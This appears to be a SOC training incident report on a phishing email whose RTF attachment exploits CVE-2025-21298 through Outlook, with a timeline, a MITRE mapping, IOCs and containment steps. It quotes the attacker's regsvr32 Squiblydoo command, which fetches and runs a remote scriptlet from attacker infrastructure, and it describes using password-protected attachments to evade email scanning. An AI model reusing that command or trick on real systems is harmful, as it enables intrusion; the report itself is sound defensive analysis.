

INCIDENT RESPONSE REPORT

Windows OLE Zero-Click RCE Exploitation — CVE-2025-21298

Report Date	June 19, 2026
Analyst	Amr Khaled Elgendy
Alert Name	Windows OLE Zero-Click RCE Exploitation Detected
CVE	CVE-2025-21298 (CVSS: 9.8 Critical)
Event ID	314
Detection Time	Feb 04, 2025 — 04:18 PM
Severity	CRITICAL
Classification	True Positive — Malware / Exploitation
Affected User	Austin
Affected Host	172.16.17.137

1. Executive Summary

A critical security alert was triggered following detection of a malicious RTF attachment exploiting CVE-2025-21298, a zero-click Remote Code Execution vulnerability in Windows OLE (CVSS score: 9.8). The vulnerability resides in **ole32.dll** and can be triggered simply by previewing a specially crafted RTF email in Microsoft Outlook — no user interaction required.

The affected user (Austin) received a phishing email containing a weaponized RTF file (mail.rtf). Upon preview or opening in Outlook, the exploit triggered a process chain: OUTLOOK.EXE spawned cmd.exe, which executed regsvr32.exe to retrieve a remote malicious scriptlet (shell.sct) from attacker-controlled infrastructure at 84.38.130.118. Additional threat hunting identified a second phishing email from the same pm.me infrastructure, indicating a broader targeted campaign. The alert is confirmed as a **True Positive**.

2. Alert Details

Email Sender	projectmanagement@pm.me
Email Subject	Important: Action Required for Upcoming Project Deadline
Attachment	mail.rtf (password-protected: 'infected')
SHA256	df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184
VirusTotal	27/57 vendors — Exploit.CVE-2025-21298 / RTF:CVE-2025-21298-A
Attacker C2	84.38.130.118 (port 80)
Payload URL	http://84.38.130.118.com/shell.sct

3. Attack Timeline

Time	Activity
05:12 AM	Malicious phishing email delivered to Austin from projectmanagement@pm.me
08:05:15	OUTLOOK.EXE launched — victim opened or previewed the RTF attachment
08:06:08	cmd.exe spawned by OUTLOOK.EXE — exploit triggered via CVE-2025-21298
08:06:08	Outbound HTTP GET request sent to 84.38.130.118 — C2 contacted
08:06:25	regsvr32.exe executed with remote scriptlet parameter (Squiblydoo technique)
08:06:25	Remote payload shell.sct retrieval initiated from attacker infrastructure
04:18 PM	Security alert SOC336 generated by SIEM rule

4. Investigation Steps

4.1 Email Analysis

The alert originated from a phishing email sent to Austin from **projectmanagement@pm.me**. The subject line ('Important: Action Required for Upcoming Project Deadline') used urgency as a social engineering tactic. The RTF attachment was password-protected with the password **'infected'** — a common technique used by threat actors to bypass email gateway scanning, as encrypted attachments cannot be inspected by most email security controls.

4.2 Attachment Analysis — VirusTotal

The SHA256 hash of mail.rtf was submitted to VirusTotal:

SHA256: df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184

27 out of 57 security vendors flagged the file as malicious. Detection names included: Exploit.CVE-2025-21298, RTF:CVE-2025-21298-A, Trojan.MSOffice.CVE-2025-21298, and HEUR:Exploit.RTF.CVE-2025-21298. This confirmed the attachment was specifically weaponized to exploit CVE-2025-21298.

4.3 Endpoint Investigation — Process Chain

The following suspicious process execution chain was identified on the affected host:

OUTLOOK.EXE ■■ cmd.exe ■■ regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll

OUTLOOK.EXE spawning cmd.exe is highly anomalous and indicates successful exploitation. The regsvr32.exe command uses the **Squiblydoo technique** (T1218.010) — abusing a legitimate signed Windows binary to execute a remote COM scriptlet (.sct file) via scrobj.dll, bypassing application whitelisting controls.

4.4 Network — Payload Retrieval Confirmation

Source IP	172.16.17.137 (Austin's endpoint)
Destination IP	84.38.130.118
Port	80 (HTTP)
Method	GET
Resource	http://84.38.130.118.com/shell.sct
Device Action	Permitted — NOT blocked
Process	cmd.exe

The outbound HTTP GET request to retrieve shell.sct was permitted by network controls, confirming that the exploitation chain progressed to the payload retrieval stage.

4.5 Threat Hunting — Campaign Scope

Pivoting on the sender domain **pm.me**, an additional phishing email was identified:

Sender	michael.johnson@pm.me
Recipient	Cooper@letsdefend.io
Subject	Secure Copy of 2025 Annual Report – Encrypted Archive Inside

This finding confirms the malicious activity was part of a broader phishing campaign targeting multiple users, not an isolated incident.

5. MITRE ATT&CK; Mapping

MITRE Mapping Review: The original report contained one inaccuracy and one omission. T1059 was too generic — the correct sub-technique is **T1059.003 (cmd.exe)**. Additionally, **T1204.002 (User Execution: Malicious File)** was missing — the victim's action of opening/previewing the RTF maps directly to this technique.

Technique ID	Technique Name	Observed Activity
T1566.001	Phishing: Spearphishing Attachment	Malicious RTF (mail.rtf) delivered via phishing email
T1203	Exploitation for Client Execution	CVE-2025-21298 exploited via RTF preview in Outlook
T1059.003	Command & Scripting: Windows Command Shell	cmd.exe spawned by OUTLOOK.EXE to execute regsvr32 payload
T1218.010	Signed Binary Proxy: Regsvr32 (Squiblydoo)	regsvr32.exe used to execute remote shell.sct via scrobj.dll, bypassing AWL
T1105	Ingress Tool Transfer	shell.sct second-stage payload retrieved from 84.38.130.118
T1071.001	Application Layer Protocol: Web Protocols	HTTP used for C2 communication and payload delivery (port 80)

6. Indicators of Compromise (IOCs)

Type	Value	Context
IP Address	84.38.130.118	Attacker C2 server
Domain	84.38.130.118.com	Malicious payload domain
URL	http://84.38.130.118.com/shell.sct	Remote scriptlet payload
SHA256	df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184	mail.rtf — weaponized RTF
Email	projectmanagement@pm.me	Phishing sender (Austin)
Email	michael.johnson@pm.me	Related phishing sender (Cooper)
File	mail.rtf	Malicious attachment
File	shell.sct	Remote COM scriptlet payload
Host	172.16.17.137	Compromised endpoint (Austin)
Process	regsvr32.exe /s /u /i:[URL] scrobj.dll	Squiblydoo execution command

7. Containment & Recommendations

- **Immediate:** Isolate host 172.16.17.137 from the network to prevent further C2 communication.
- **Block:** Add 84.38.130.118 and 84.38.130.118.com to firewall and proxy blocklists.
- **Email:** Block all emails from projectmanagement@pm.me and michael.johnson@pm.me at the gateway.
- **Hunt:** Search for other recipients of pm.me phishing emails across the organisation.
- **Patch:** Apply Microsoft January 2025 Patch Tuesday update addressing CVE-2025-21298 to all endpoints immediately.
- **Detection:** Create EDR/SIEM rule to alert on OUTLOOK.EXE spawning cmd.exe or regsvr32.exe.
- **Restrict regsvr32:** Block regsvr32.exe execution with remote URL parameters via AppLocker or WDAC.
- **Email Hardening:** Restrict or block RTF attachments at the email gateway until all systems are patched.
- **Outlook Hardening:** Configure Outlook to display emails in plain text where operationally feasible.
- **Forensics:** Review endpoint for persistence mechanisms including registry run keys, scheduled tasks, startup folders, WMI subscriptions, and dropped files.
- **Awareness:** Notify users not to open unexpected RTF or encrypted archive attachments.

8. Impact Assessment

The malicious RTF attachment successfully triggered code execution through Microsoft Outlook via CVE-2025-21298. The exploitation chain progressed through process creation (cmd.exe, regsvr32.exe) and reached the payload retrieval stage, with the outbound HTTP request to the attacker's C2 server confirmed as permitted by network controls.

Full second-stage payload execution (shell.sct) cannot be conclusively confirmed or denied from available telemetry. However, given that the network request was permitted and regsvr32 execution completed, the risk of full compromise must be assumed until forensic analysis confirms otherwise. Immediate containment and forensic investigation of the affected host is required.

9. Final Classification

TRUE POSITIVE — CVE-2025-21298 Exploitation via Malicious RTF Phishing

Phishing Email Delivered	Confirmed
Malicious Attachment (VT)	27/57 vendors — Exploit.CVE-2025-21298
Exploit Triggered	Confirmed — OUTLOOK.EXE → cmd.exe chain observed
C2 Communication	Confirmed — HTTP GET to 84.38.130.118 permitted
Payload Retrieved (shell.sct)	Likely — request permitted, execution unconfirmed
Campaign Scope	Broader campaign — second phishing email identified
Malware Quarantined	No — manual containment required